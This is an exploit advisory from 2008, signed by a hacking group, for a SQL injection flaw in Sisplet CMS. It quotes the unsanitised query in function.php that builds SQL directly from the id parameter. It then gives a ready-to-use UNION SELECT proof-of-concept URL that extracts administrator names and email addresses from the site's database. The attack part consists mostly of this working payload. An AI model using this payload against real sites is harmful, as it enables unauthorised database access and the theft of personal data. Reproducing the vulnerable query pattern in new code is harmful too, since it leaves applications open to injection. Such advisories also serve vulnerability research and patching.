Sisplet CMS (index.php id) Remote SQL Injection Vulnerability

2008-07-01 00:00:00

=================================================================
Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
=================================================================

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'


AUTHOR : CWH Underground
DATE : 1 July 2008
SITE : cwh.citec.us


#####################################################
APPLICATION : Sisplet CMS
VERSION : 2008-01-24
VENDOR : http://cms.sisplet.org/
DOWNLOAD : http://downloads.sourceforge.net/sisplet/SiSplet-2008-01-24.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
Vulnerable File (function.php)
-----------------------------------

$sql = mysql_query("SELECT parent FROM menu WHERE id = '$id'");


---------
Exploit
---------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=[SQL Injection]


------
POC
------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=15'/**/AND/**/1=2/**/UNION/**/SELECT/**/concat(ime,0x3a,priimek,0x3a,email),2,3,4/**/FROM/**/administratorji/**/WHERE/**/tip='0


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
##################################################################

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.